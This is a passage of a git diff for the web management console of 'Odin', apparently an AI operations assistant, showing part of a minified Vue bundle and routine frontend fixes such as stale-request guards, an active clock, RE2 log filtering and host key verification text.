The async option was set to true by an extension. Remove async: false from the parse options object to return a Promise."));if(typeof s>"u"||s===null)return l(new Error("marked(): input parameter is undefined or null"));if(typeof s!="string")return l(new Error("marked(): input parameter is of type "+Object.prototype.toString.call(s)+", string expected"));i.hooks&&(i.hooks.options=i,i.hooks.block=t);const r=i.hooks?i.hooks.provideLexer():t?Sa.lex:Sa.lexInline,o=i.hooks?i.hooks.provideParser():t?Ta.parse:Ta.parseInline;if(i.async)return Promise.resolve(i.hooks?i.hooks.preprocess(s):s).then(c=>r(c,i)).then(c=>i.hooks?i.hooks.processAllTokens(c):c).then(c=>i.walkTokens?Promise.all(this.walkTokens(c,i.walkTokens)).then(()=>c):c).then(c=>o(c,i)).then(c=>i.hooks?i.hooks.postprocess(c):c).catch(l);try{i.hooks&&(s=i.hooks.preprocess(s));let c=r(s,i);i.hooks&&(c=i.hooks.processAllTokens(c)),i.walkTokens&&this.walkTokens(c,i.walkTokens);let u=o(c,i);return i.hooks&&(u=i.hooks.postprocess(u)),u}catch(c){return l(c)}}}onError(t,e){return s=>{if(s.message+=` +Please report this to https://github.com/markedjs/marked.`,t){const n="

    An error occurred:

    "+sa(s.message+"",!0)+"
    ";return e?Promise.resolve(n):n}if(e)return Promise.reject(s);throw s}}},ji=new $T;function Nt(t,e){return ji.parse(t,e)}Nt.options=Nt.setOptions=function(t){return ji.setOptions(t),Nt.defaults=ji.defaults,Fb(Nt.defaults),Nt};Nt.getDefaults=Yp;Nt.defaults=Wi;Nt.use=function(...t){return ji.use(...t),Nt.defaults=ji.defaults,Fb(Nt.defaults),Nt};Nt.walkTokens=function(t,e){return ji.walkTokens(t,e)};Nt.parseInline=ji.parseInline;Nt.Parser=Ta;Nt.parser=Ta.parse;Nt.Renderer=Ic;Nt.TextRenderer=lf;Nt.Lexer=Sa;Nt.lexer=Sa.lex;Nt.Tokenizer=Rc;Nt.Hooks=tc;Nt.parse=Nt;Nt.options;Nt.setOptions;Nt.use;Nt.walkTokens;Nt.parseInline;Ta.parse;Sa.lex;const jT={breaks:!0,gfm:!0};function sg(t){if(!t)return"";try{if(typeof Nt<"u"&&Nt.parse){const e=Nt.parse(t,jT);return typeof Qh<"u"?Qh.sanitize(e):e}}catch{}return t.replace(/&/g,"&").replace(//g,">").replace(/\n/g,"
    ")}function JT(t){const e=new Date(t),s=e.getHours().toString().padStart(2,"0"),n=e.getMinutes().toString().padStart(2,"0");return`${s}:${n}`}const zT={run_command:"terminal",ssh_command:"terminal",run_script:"terminal",read_file:"file",apply_patch:"edit",list_directory:"folder",search_knowledge:"search",ingest_document:"book",generate_image:"image",analyze_image:"eye",analyze_pdf:"file",browser_screenshot:"globe",manage_process:"sliders"};function qT(t){return zT[t]||"wrench"}const VT=/https?:\/\/\S+\.(?:png|jpg|jpeg|gif|webp|svg)(?:\?\S*)?/gi;function ng(t){if(!t)return[];const e=t.match(VT);return e?[...new Set(e)]:[]}const KT={template:` +
    + + +
    + +
    +
    +
    + + + + + +
    +
    Odin is watching
    +
    Ask anything. Run commands. Manage infrastructure.
    +
    + +
    +
    +
    + + + + + +
    +
    + + + +
    +
    +
    + + {{ typingText }} +
    +
    +
    +
    + + +
    +
    + + + +
    +
    + Enter to send · Shift+Enter for newline + + + {{ wsStatus }} + +
    +
    +
    `,setup(){const t=f([]),e=f(""),s=f(!1),n=f(""),a=f(null),i=f(null),l=f(0),r=f("");let o=null,c=0;const u=["Check system health","List running services","Show disk usage","What can you do?"],d=G(()=>e.value.trim().length>0&&!s.value),p=f(wt.state||"disconnected");let B=null;const h=G(()=>{const R=p.value;return R==="connected"?"Connected":R==="reconnecting"?"Reconnecting…":R==="connecting"?"Connecting…":"REST fallback"}),b=["Watching across all realms...","Processing...","Consulting the bifrost...","Observing..."],w=G(()=>{const R=Math.floor(l.value/4)%b.length,j=l.value;return j>3?`${b[R]} (${j}s)`:b[0]});function _(){ns(()=>{a.value&&(a.value.scrollTop=a.value.scrollHeight)})}function C(){if(!i.value)return;const R=i.value;R.style.height="auto",R.style.height=Math.min(R.scrollHeight,120)+"px"}function v(R,j,N={}){const z={id:++c,role:R,content:j,timestamp:Date.now(),html:R==="bot"?sg(j):"",tools_used:N.tools_used||[],is_error:N.is_error||!1,images:R==="bot"?ng(j):[],files:N.files||[],_showTools:!1};return t.value.push(z),_(),R==="bot"&&ns(()=>m()),z}function m(){if(!a.value)return;a.value.querySelectorAll(".chat-markdown pre:not([data-copy])").forEach(j=>{j.setAttribute("data-copy","true"),j.style.position="relative";const N=document.createElement("button");N.className="chat-code-copy",N.textContent="Copy",N.addEventListener("click",()=>{const z=j.querySelector("code"),ee=z?z.textContent:j.textContent;navigator.clipboard.writeText(ee).then(()=>{N.textContent="Copied!",setTimeout(()=>{N.textContent="Copy"},1500)}).catch(()=>{})}),j.appendChild(N)})}function y(R){if(R===0)return!0;const j=t.value[R-1],N=t.value[R],z=new Date(j.timestamp).toDateString(),ee=new Date(N.timestamp).toDateString();return z!==ee}function k(R){const j=new Date(R),N=new Date;if(j.toDateString()===N.toDateString())return"Today";const z=new Date(N);return z.setDate(z.getDate()-1),j.toDateString()===z.toDateString()?"Yesterday":j.toLocaleDateString(void 0,{month:"short",day:"numeric",year:"numeric"})}function x(R){e.value=R,ns(()=>ie())}function A(R){window.open(R,"_blank","noopener")}function S(R){R.target.style.display="none"}function L(){l.value=0,o=setInterval(()=>{l.value++},1e3)}function O(){o&&(clearInterval(o),o=null),l.value=0}function I(R){s.value&&(s.value=!1,O(),R.type==="chat_response"?v("bot",R.content,{tools_used:R.tools_used||[],is_error:R.is_error||!1,files:R.files||[]}):R.type==="chat_error"&&v("bot",R.error||"Unknown error",{is_error:!0}),ns(()=>{var j;return(j=i.value)==null?void 0:j.focus()}))}async function J(R){try{const j=await U.post("/api/chat",{content:R,channel_id:r.value});v("bot",j.response,{tools_used:j.tools_used||[],is_error:j.is_error||!1,files:j.files||[]})}catch(j){v("bot",j.message||"Failed to send message",{is_error:!0})}}async function ie(){const R=e.value.trim();if(!R||s.value)return;v("user",R),e.value="",s.value=!0,L(),i.value&&(i.value.style.height="auto"),wt.connected&&wt.sendChat(R,{channelId:r.value})||(await J(R),s.value=!1,O()),ns(()=>{var N;return(N=i.value)==null?void 0:N.focus()})}async function te(){n.value="";try{if(!r.value){const j=await U.get("/api/auth/session");r.value=j.channel_id||j.user_id||"web-user"}const R=await U.get("/api/sessions/"+encodeURIComponent(r.value));if(R&&R.messages&&R.messages.length>0){for(const j of R.messages){const N=j.role==="user"?"user":"bot";let z=j.content||"";if(N==="user"){const Q=z.match(/^\[.*?\]:\s*/);Q&&(z=z.slice(Q[0].length))}if(!z.trim())continue;const ee={id:++c,role:N,content:z,timestamp:j.timestamp?j.timestamp*1e3:Date.now(),html:N==="bot"?sg(z):"",tools_used:[],is_error:!1,images:N==="bot"?ng(z):[],files:[],_showTools:!1};t.value.push(ee)}ns(()=>{_(),m()})}}catch(R){R&&R.status!==404&&(n.value="Couldn't load chat history — earlier messages may be missing. Refresh to retry.",Ie.error(n.value))}}return dt(()=>{wt.subscribe("chat",I),p.value=wt.state||"disconnected",B=wt.onState(R=>{p.value=R}),te(),ns(()=>{var R;return(R=i.value)==null?void 0:R.focus()})}),It(()=>{wt.unsubscribe("chat",I),B&&(B(),B=null),O()}),{messages:t,input:e,sending:s,historyError:n,messagesEl:a,inputEl:i,canSend:d,wsStatus:h,typingText:w,suggestions:u,send:ie,autoResize:C,formatTime:JT,formatDate:k,showDateSeparator:y,useSuggestion:x,openImage:A,onImageError:S,getToolIcon:qT,loadHistory:te}}},WT={setup(){const t=f("odin"),e=f(""),s=f(""),n=f(""),a=f({}),i=f([]),l=f([]),r=f(!1),o=f(!1),c=f(null),u=f(!0),d=f(""),p=f(!1),B=f(!1),h=G(()=>t.value==="custom"),b=G(()=>[...i.value,...l.value]),w=G(()=>l.value.includes(t.value)),_=G(()=>{var A;return h.value?e.value||"Odin":((A=a.value[t.value])==null?void 0:A.name)||t.value}),C=G(()=>{var A;return h.value?s.value||"(empty — will use Odin default)":((A=a.value[t.value])==null?void 0:A.identity)||""}),v=G(()=>{var A;return h.value?n.value||"(empty — will use Odin default)":((A=a.value[t.value])==null?void 0:A.voice)||""});async function m(){u.value=!0;try{const A=await U.get("/api/personality");t.value=A.preset||"odin",e.value=A.custom_name||"",s.value=A.custom_identity||"",n.value=A.custom_voice||"",a.value=A.presets||{},i.value=A.builtin_presets||[],l.value=A.user_presets||[]}catch(A){c.value=A.message}finally{u.value=!1}}async function y(){r.value=!0,c.value=null,o.value=!1;try{await U.put("/api/personality",{preset:t.value,custom_name:e.value,custom_identity:s.value,custom_voice:n.value}),o.value=!0,setTimeout(()=>o.value=!1,3e3)}catch(A){c.value=A.message}finally{r.value=!1}}async function k(){const A=d.value.trim();if(A){B.value=!0,c.value=null;try{await U.post("/api/personality/presets",{name:A,display_name:_.value,identity:C.value,voice:v.value}),p.value=!1,d.value="",await m(),t.value=A.toLowerCase().replace(/ /g,"_")}catch(S){c.value=S.message}finally{B.value=!1}}}async function x(){if(await Es({title:"Delete preset",message:`Delete preset "${t.value}"? This cannot be undone.`,confirmLabel:"Delete",danger:!0})){c.value=null;try{await U.del(`/api/personality/presets/${encodeURIComponent(t.value)}`),await m(),t.value="odin"}catch(S){c.value=S.message}}}return dt(m),{preset:t,customName:e,customIdentity:s,customVoice:n,presets:a,presetNames:b,isCustom:h,isUserPreset:w,previewName:_,previewIdentity:C,previewVoice:v,saving:r,saved:o,error:c,loading:u,save:y,showSavePreset:p,newPresetName:d,savingPreset:B,saveAsPreset:k,deletePreset:x,builtinPresets:i,userPresets:l}},template:` +
    +
    +

    Personality

    +

    Configure how Odin presents itself. Changes apply immediately — no restart needed.

    +
    + +
    + Loading... +
    + + +
    + `},QT={props:["onComplete"],template:` +
    + +
    `,setup(t){const e=f(""),s=f(""),n=f(!1),a=f(!1),i=f(""),l=f("Initialization pending."),r=f(!1),o=f(""),c=f(null),u=f({}),d=f("");let p=0,B=null;function h(){return p+=1,B==null||B.abort(),B=null,p}function b(y,k,x){return typeof U.postWithOptions=="function"?U.postWithOptions(y,k,{signal:x}):U.post(y,k)}async function w(){var x,A,S;n.value=!0,i.value="",l.value="Saving setup…";const y={},k=!!s.value.trim();e.value.trim()&&(y.web_api_token=e.value.trim()),s.value.trim()&&(y.discord_token=s.value.trim());try{const L=U.post("/api/setup/complete",y);e.value="",s.value="";const O=await L,I=((x=O.discord)==null?void 0:x.state)||O.discord_status;if(I==="failed"?(i.value=((A=O.discord)==null?void 0:A.error)||"Discord attachment failed. Setup was saved.",l.value="Saved. Discord attachment failed."):I==="connecting"?l.value="Saved. Connecting Discord…":I==="ready"?l.value="Saved. Discord ready.":k?l.value="Saved. Discord token stored; attachment status is pending.":l.value=O.message||"Setup saved. Ready to sign in.",(S=O.restart_required)!=null&&S.length){const J=O.message||`Restart Odin to apply: ${O.restart_required.join(", ")}`;l.value.includes(J)||(l.value+=` ${J}`)}a.value=!0}catch(L){i.value=L.message||"Setup could not be saved.",l.value="Initialization pending."}finally{n.value=!1}}async function _(){const y=h(),k=typeof AbortController=="function"?new AbortController:null;B=k,r.value=!0,d.value="";try{const x=await b("/api/codex/device-code",void 0,k==null?void 0:k.signal);if(y!==p)return;c.value=x,o.value="pending";const A=await b("/api/codex/device-poll",{device_auth_id:x.device_auth_id,user_code:x.user_code,interval:x.interval},k==null?void 0:k.signal);if(y!==p)return;u.value=A||{},o.value="ready"}catch(x){y===p&&(x==null?void 0:x.name)!=="AbortError"&&(d.value=x.message||"Device sign-in failed.",o.value="failed")}finally{y===p&&(r.value=!1,B=null)}}function C(){h(),r.value=!1,m()}function v(){var y;(y=t.onComplete)==null||y.call(t)}function m(){o.value="",c.value=null,u.value={},d.value=""}return It(()=>{h()}),{webApiToken:e,discordToken:s,saving:n,completed:a,error:i,statusMessage:l,save:w,onComplete:v,deviceLoading:r,deviceState:o,deviceInfo:c,deviceResult:u,deviceError:d,startDeviceLogin:_,cancelDeviceLogin:C,clearDeviceState:m}}},ls=(t,e)=>s=>({path:t,query:{...s.query,tab:e}}),Vb=[{path:"/",redirect:"/dashboard"},{path:"/dashboard",component:A1,meta:{label:"Dashboard",icon:"dashboard",section:"Workspace",description:"System posture and recent activity"}},{path:"/chat",component:KT,meta:{label:"Chat",icon:"chat",section:"Workspace",description:"Direct operator conversation"}},{path:"/operations",component:CD,meta:{label:"Operations",icon:"operations",section:"Operate",description:"Execution, agents, loops, processes, and schedules"}},{path:"/history",component:RD,meta:{label:"History",icon:"history",section:"Observe",description:"Audit trail, sessions, traces, and usage"}},{path:"/capabilities",component:ZD,meta:{label:"Capabilities",icon:"capabilities",section:"Manage",description:"Tools, skills, knowledge, and memory"}},{path:"/personality",component:WT,meta:{label:"Personality",icon:"personality",section:"Manage",description:"Behavior and response profile"}},{path:"/system",component:w1,meta:{label:"System",icon:"system",section:"Manage",description:"Health, configuration, access, and updates"}},{path:"/execution",redirect:ls("/operations","live")},{path:"/agents",redirect:ls("/operations","agents")},{path:"/loops",redirect:ls("/operations","loops")},{path:"/processes",redirect:ls("/operations","processes")},{path:"/schedules",redirect:ls("/operations","schedules")},{path:"/audit",redirect:ls("/history","audit")},{path:"/sessions",redirect:ls("/history","sessions")},{path:"/traces",redirect:ls("/history","traces")},{path:"/usage",redirect:ls("/history","usage")},{path:"/tools",redirect:ls("/capabilities","tools")},{path:"/skills",redirect:ls("/capabilities","skills")},{path:"/mcp",redirect:ls("/capabilities","mcp-servers")},{path:"/knowledge",redirect:ls("/capabilities","knowledge")},{path:"/memory",redirect:ls("/capabilities","memory")},{path:"/learned",redirect:ls("/capabilities","learned")},{path:"/health",redirect:ls("/system","health")},{path:"/resources",redirect:ls("/system","resources")},{path:"/logs",redirect:ls("/system","logs")},{path:"/config",redirect:ls("/system","config")},{path:"/host-access",redirect:ls("/system","host-access")},{path:"/hosts",redirect:ls("/system","hosts")},{path:"/internals",redirect:ls("/system","internals")}],Dr=Vk({history:Ek(),routes:Vb});Dr.afterEach(t=>{var s;const e=(s=t.meta)==null?void 0:s.label;document.title=e?`Odin — ${e}`:"Odin — Management"});const YT={template:` + `,props:["onLogin","sessionExpired"],setup(t){const e=f(""),s=f(null),n=f(!1),a=f(!1);async function i(){n.value=!0,s.value=null;try{U.setPersist(a.value),await U.login(e.value),t.onLogin()}catch(l){s.value=l.message||"Login failed"}finally{n.value=!1}}return{token:e,error:s,busy:n,persist:a,login:i}}},ZT={template:` +
    +
    + Loading application... +
    + + +
    + + + + +
    + {{ wsToast.text }} +
    +
    + + + +
    + +
    +
    +
    + + + `,setup(){const t=f("checking"),e=f(!1),s=f(!1),n=f(!1),a=f(null),i=f(null),l=f(!1);let r=null,o=null;const c=f(!1),u=f("disconnected"),d=f(-1),p=f(null);let B=null;const h=f("starting"),b=f(""),w=Vb.filter(Q=>Q.meta),_=G(()=>["Workspace","Operate","Observe","Manage"].map(Q=>({name:Q,routes:w.filter(Y=>Y.meta.section===Q)})).filter(Q=>Q.routes.length)),C=G(()=>{var Q;return((Q=Dr.currentRoute.value.meta)==null?void 0:Q.label)||"Odin"}),v=G(()=>{var Q;return((Q=Dr.currentRoute.value.meta)==null?void 0:Q.section)||"Management"}),m=G(()=>{var Q;return((Q=Dr.currentRoute.value.meta)==null?void 0:Q.description)||"Management console"});function y(){wt.disconnect(),R&&(clearInterval(R),R=null)}U.onSessionExpired=()=>{e.value=!0,y(),U.setToken(""),t.value="login"};function k(Q){var Y;if((Q.ctrlKey||Q.metaKey)&&Q.key.toLowerCase()==="k"){t.value==="ready"&&(Q.preventDefault(),Nh());return}if(n.value&&Q.key==="Tab"){const re=[...((Y=a.value)==null?void 0:Y.querySelectorAll('a[href], button:not([disabled]), [tabindex]:not([tabindex="-1"])'))||[]];if(re.length){const K=re[0],_e=re[re.length-1];if(Q.shiftKey&&(document.activeElement===K||!a.value.contains(document.activeElement))){Q.preventDefault(),_e.focus();return}if(!Q.shiftKey&&(document.activeElement===_e||!a.value.contains(document.activeElement))){Q.preventDefault(),K.focus();return}}}if(Q.key==="Escape"&&n.value){n.value=!1,Q.preventDefault();return}if(Q.key==="/"&&!["INPUT","TEXTAREA","SELECT"].includes(Q.target.tagName)){Q.preventDefault();const re=document.querySelector('.hm-main input[type="text"], .hm-main .hm-input:not(textarea):not(select)');re&&re.focus()}}function x(){l.value=!!(r!=null&&r.matches),l.value||(n.value=!1)}async function A(){try{const Q=await U.get("/api/setup/status");if(Q.mode==="pending"||Q.needed===!0)return y(),t.value="setup",!0}catch(Q){Q==null||Q.name}return!1}dt(async()=>{if(document.addEventListener("keydown",k),r=window.matchMedia("(max-width: 900px)"),x(),r.addEventListener("change",x),await A())return;const Q=await U.check();Q.ok?(t.value="ready",z()):Q.needsAuth?t.value="login":(t.value="ready",z())});function S(){e.value=!1,t.value="ready",z()}async function L(){if(await A())return;const Q=await U.check();Q.ok?(t.value="ready",z()):Q.needsAuth?t.value="login":(t.value="ready",z())}async function O(){y(),t.value="login",await U.logout()}function I(){s.value=!s.value}function J(){n.value=!n.value}us(n,async Q=>{var Y,re;if(Q)o=document.activeElement,await ns(),(re=(Y=a.value)==null?void 0:Y.querySelector(".nav-item"))==null||re.focus();else if(o!=null&&o.isConnected){const K=o;o=null,requestAnimationFrame(()=>K.focus())}});const ie=G(()=>{switch(u.value){case"connected":return"Live";case"connecting":return"Connecting…";case"reconnecting":return"Reconnecting…";default:return"Disconnected"}});function te(Q,Y="info",re=3e3){p.value={text:Q,level:Y},clearTimeout(B),B=setTimeout(()=>{p.value=null},re)}let R=null,j=!1,N=[];function z(){for(const Q of N)Q();N=[wt.onStatus(Q=>{c.value=Q}),wt.onLatencyChange(Q=>{d.value=Q}),wt.onState((Q,Y)=>{u.value=Q,Q==="connected"?(j&&te("Connection restored","success"),j=!0):Q==="reconnecting"&&Y.attempt===1&&te("Connection lost — reconnecting…","warn")})],wt.connect(),ee(),R&&clearInterval(R),R=setInterval(ee,15e3)}async function ee(){try{const Q=await U.get("/api/status");h.value=Q.status==="online"?"online":"starting";const Y=Q.uptime_seconds||0,re=Math.floor(Y/3600),K=Math.floor(Y%3600/60);b.value=`${re}h ${K}m uptime`}catch{h.value="offline",b.value=""}}return It(()=>{R&&clearInterval(R);for(const Q of N)Q();N=[],wt.disconnect(),document.removeEventListener("keydown",k),r==null||r.removeEventListener("change",x)}),{authState:t,sessionExpired:e,sidebarCollapsed:s,mobileOpen:n,wsConnected:c,wsState:u,wsLatency:d,wsLabel:ie,wsToast:p,botStatus:h,botUptime:b,navRoutes:w,navGroups:_,currentPage:C,currentSection:v,currentDescription:m,sidebarEl:a,mobileMenuButton:i,isMobileViewport:l,onLogin:S,onSetupComplete:L,logout:O,toggleSidebar:I,toggleMobileNavigation:J,openPalette:Nh}}},Ga=bc(ZT);Ga.component("odin-icon",D1);Ga.component("login-screen",YT);Ga.component("setup-page",QT);Ga.component("toast-container",HE);Ga.component("confirm-host",GE);Ga.component("command-palette",k1);Ga.directive("modal-focus",T1);Ga.use(Dr);Ga.mount("#app"); diff --git a/ui/dist/index.html b/ui/dist/index.html index be382e56c..7b3dc9af2 100644 --- a/ui/dist/index.html +++ b/ui/dist/index.html @@ -9,7 +9,7 @@ Odin — Management - + diff --git a/ui/js/active-clock.js b/ui/js/active-clock.js new file mode 100644 index 000000000..f148a0263 --- /dev/null +++ b/ui/js/active-clock.js @@ -0,0 +1,19 @@ +import { onActivated, onDeactivated, onMounted, onUnmounted, ref } from 'vue'; + +export function useActiveClock() { + const now = ref(Date.now()); + let timer = null; + function arm() { + now.value = Date.now(); + if (timer === null) timer = setInterval(() => { now.value = Date.now(); }, 1000); + } + function disarm() { + if (timer !== null) clearInterval(timer); + timer = null; + } + onMounted(arm); + onActivated(arm); + onDeactivated(disarm); + onUnmounted(disarm); + return now; +} diff --git a/ui/js/config-meta-fixture.js b/ui/js/config-meta-fixture.js index ef8df686c..a46258932 100644 --- a/ui/js/config-meta-fixture.js +++ b/ui/js/config-meta-fixture.js @@ -36,7 +36,6 @@ const SECTION_DEFAULTS = { mcp: { apply_mode: 'activation_required', owner: 'mcp', description: 'Model Context Protocol servers and tool publication.' }, audit: { apply_mode: 'restart', description: 'Audit signing, verification, and retention.' }, agents: { apply_mode: 'live_for_new_work', description: 'Spawned-agent budgets, inheritance, and tree limits.' }, - grafana_alerts: { apply_mode: 'restart', owner: 'grafana_alerts', description: 'Grafana alert routing and remediation policy.', restart_reason: 'The GrafanaAlertHandler is constructed from these values at startup; saving does not rebuild it.' }, outbound_webhooks: { apply_mode: 'live_apply', owner: 'outbound_webhooks', description: 'Outbound event targets, delivery, and safety policy.' }, graceful_degradation: { apply_mode: 'restart', description: 'Always-on subsystem request guarding and its failure thresholds.', restart_reason: 'The SubsystemGuard is constructed with these thresholds at startup; saving does not rebuild it.' }, llm_recovery: { apply_mode: 'restart', description: 'Provider recovery, breaker, and retry policy.' }, diff --git a/ui/js/discord-identity.js b/ui/js/discord-identity.js index dc66c2e26..6968fb4bf 100644 --- a/ui/js/discord-identity.js +++ b/ui/js/discord-identity.js @@ -67,13 +67,18 @@ export const DiscordIdentity = { setup(props) { const fetched = ref(null); const member = computed(() => (props.members || []).find(item => String(item.id) === String(props.userId)) || null); - const identity = computed(() => member.value || fetched.value); + const identity = computed(() => member.value || (String(fetched.value?.id) === String(props.userId) ? fetched.value : null)); const displayFallback = computed(() => DISCORD_SNOWFLAKE.test(String(props.userId)) ? props.userId : (props.fallbackLabel || props.userId)); + let resolveGeneration = 0; async function resolve() { + const generation = ++resolveGeneration; + const userId = String(props.userId); fetched.value = null; - if (DISCORD_SNOWFLAKE.test(String(props.userId)) && !member.value) - fetched.value = await lookupDiscordIdentity(props.userId); + if (DISCORD_SNOWFLAKE.test(userId) && !member.value) { + const user = await lookupDiscordIdentity(userId); + if (generation === resolveGeneration && userId === String(props.userId)) fetched.value = user; + } } watch(() => [props.userId, props.members], resolve, { deep: true }); onMounted(resolve); diff --git a/ui/js/discord-user-combobox.js b/ui/js/discord-user-combobox.js index 310aec18e..8f15876a3 100644 --- a/ui/js/discord-user-combobox.js +++ b/ui/js/discord-user-combobox.js @@ -36,7 +36,7 @@ export const DiscordUserCombobox = { @keydown.enter.prevent="selectHighlighted" @keydown.escape="closeOptions" @blur="onBlur" /> + :disabled="!selectableValue" @mousedown.prevent @click="selectHighlighted">Add
    Arguments
    - +
    diff --git a/ui/js/pages/health.js b/ui/js/pages/health.js index 77c8040bb..f8596f427 100644 --- a/ui/js/pages/health.js +++ b/ui/js/pages/health.js @@ -5,6 +5,7 @@ import { api } from '../api.js'; import { formatTime } from '../utils.js'; import { computed, onActivated, onDeactivated, onMounted, onUnmounted, ref } from 'vue'; +import { useRequestOwner } from '../request-owner.js'; const STATUS_COLORS = { @@ -227,17 +228,24 @@ export default { return String(n); } + const ownHealth = useRequestOwner(() => { loading.value = false; refreshing.value = false; }); async function fetchHealth() { + const current = ownHealth(); refreshing.value = true; try { - data.value = await api.get('/api/health/components'); + const next = await api.get('/api/health/components'); + if (!current()) return; + data.value = next; error.value = null; hasData.value = true; } catch (e) { + if (!current()) return; error.value = e.message; } finally { + if (current()) { loading.value = false; refreshing.value = false; + } } } diff --git a/ui/js/pages/hosts.js b/ui/js/pages/hosts.js index 63152e766..44a08dc5c 100644 --- a/ui/js/pages/hosts.js +++ b/ui/js/pages/hosts.js @@ -46,7 +46,7 @@ export default {

    Install Odin's public key for {{ form.ssh_user }}@{{ form.address }}. Odin never accepts passwords or private keys here.

    {{ keyInfo.public_key }}
    {{ keyInfo.authorized_keys_command }}

    Fingerprint: {{ keyInfo.fingerprint }}. {{ keyInfo.permissions }}

    -

    Verify the host key out of band. Run ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub on the target and paste its SHA256 fingerprint.

    Observed: {{ observed.join(', ') }}
    +

    Host CA enrollment requires a certificate-backed host. Verify its signing CA fingerprint out of band and paste the CA's SHA256 fingerprint, not the host leaf key fingerprint. The scan extracts the signing CA from the host certificate.

    Verify the host key out of band. Run ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub on the target and paste its SHA256 fingerprint.

    Observed: {{ observed.join(', ') }}

    Test non-interactive authentication and platform identity before activation.

    {{ JSON.stringify(testResult,null,2) }}

    Activation is live. Users with allowed_hosts: null gain this host automatically. Review grants on Host Access after saving.

    Open Host Access
    diff --git a/ui/js/pages/internals.js b/ui/js/pages/internals.js index d5e38396e..4177e8f70 100644 --- a/ui/js/pages/internals.js +++ b/ui/js/pages/internals.js @@ -6,6 +6,7 @@ import { api } from '../api.js'; import { formatAgeSeconds } from '../utils.js'; import { computed, onActivated, onDeactivated, onMounted, onUnmounted, ref } from 'vue'; +import { useRequestOwner } from '../request-owner.js'; const STATUS_COLORS = { @@ -168,7 +169,9 @@ export default {
    Compressions: {{ compressionStats.compressions || 0 }}
    Iterations compressed: {{ compressionStats.iterations_compressed || 0 }}
    Chars saved: {{ (compressionStats.chars_saved || 0).toLocaleString() }}
    -
    Prefix cache hit rate: {{ ((compressionStats.prefix_hit_rate || 0) * 100).toFixed(0) }}%
    +
    Local prefix equality: {{ (compressionStats.prefix_hit_rate * 100).toFixed(0) }}% (not upstream cache hits)
    +
    Prefix stability: Not measured
    +
    Upstream cache hits: Not measured here

    No compression data

    @@ -225,8 +228,11 @@ export default { ]); let timer = null; + const ownInternals = useRequestOwner(() => { loading.value = false; }); async function fetchAll() { + const current = ownInternals(); const results = await Promise.allSettled(endpoints.map(endpoint => api.get(endpoint.path))); + if (!current()) return; const val = (i) => results[i].status === 'fulfilled' ? results[i].value : null; startup.value = val(0) || {}; const sub = val(1); diff --git a/ui/js/pages/llm-config.js b/ui/js/pages/llm-config.js index f67b9cfc4..8fdbec89e 100644 --- a/ui/js/pages/llm-config.js +++ b/ui/js/pages/llm-config.js @@ -1493,22 +1493,29 @@ export default { if (p99 && budgetMs && p99 > budgetMs) warnings.push('p99 exceeds the agent iteration budget'); return warnings.join('; '); }; + let openRouterPendingGeneration = 0; async function prepareOpenRouterModel(model) { + const generation = ++openRouterPendingGeneration; openRouterPendingModel.value = model; + openRouterPendingEndpoints.value = []; openRouterPendingTag.value = compatibleForm.value.openrouter.model_pins?.[model.id] || ''; openRouterPendingLoading.value = true; try { const [author, ...tail] = model.id.split('/'); const result = await api.get(`/api/openrouter/models/${encodeURIComponent(author)}/${encodeURIComponent(tail.join('/'))}/endpoints`); + if (generation !== openRouterPendingGeneration) return; openRouterPendingEndpoints.value = result.endpoints || []; } catch (error) { + if (generation !== openRouterPendingGeneration) return; openRouterPendingEndpoints.value = []; showToast(error.message || 'Failed to load OpenRouter provider routes', 'error'); } finally { - openRouterPendingLoading.value = false; + if (generation === openRouterPendingGeneration) openRouterPendingLoading.value = false; } } function cancelOpenRouterPending() { + ++openRouterPendingGeneration; + openRouterPendingLoading.value = false; openRouterPendingModel.value = null; openRouterPendingTag.value = ''; openRouterPendingEndpoints.value = []; @@ -1863,8 +1870,9 @@ export default { } } + let mainModelSavePending = false; async function saveMainModel() { - if (savingMainModel) return; + if (savingMainModel) { mainModelSavePending = true; return; } savingMainModel = true; const submitted = modelSelection.value.main; try { @@ -1884,7 +1892,16 @@ export default { markClean('mainModel', submitted); showToast('Main model saved'); await fetchAll(); } catch (e) { showToast(e.message || 'Failed to save main model', 'error'); await fetchLLMStatus(); } - finally { savingMainModel = false; } + finally { + savingMainModel = false; + if (mainModelSavePending) { + mainModelSavePending = false; + await saveMainModel(); + } else { + // Adopt canonical state once the latest write has settled. + await fetchLLMStatus(); + } + } } async function saveMainCapability(value) { modelSelection.value.main_capability = value; diff --git a/ui/js/pages/logs.js b/ui/js/pages/logs.js index 56fcde4c2..a80c2f84f 100644 --- a/ui/js/pages/logs.js +++ b/ui/js/pages/logs.js @@ -5,6 +5,8 @@ */ import { api, ws } from '../api.js'; import { computed, nextTick, onActivated, onDeactivated, onMounted, onUnmounted, ref, watch } from 'vue'; +import { RE2JS } from 're2js'; +import { useActiveClock } from '../active-clock.js'; import ToolOutput from '../tool-output.js'; import LogRecord from '../log-record.js'; import { appendLogEntry, groupLogEntries, parseLogEntry, serializeLogRecord } from '../log-records.js'; @@ -113,6 +115,7 @@ export default { title="Toggle regex filtering">.*
    {{ regexError }}
    +
    Linear-time RE2 syntax. Lookaround and backreferences are not supported.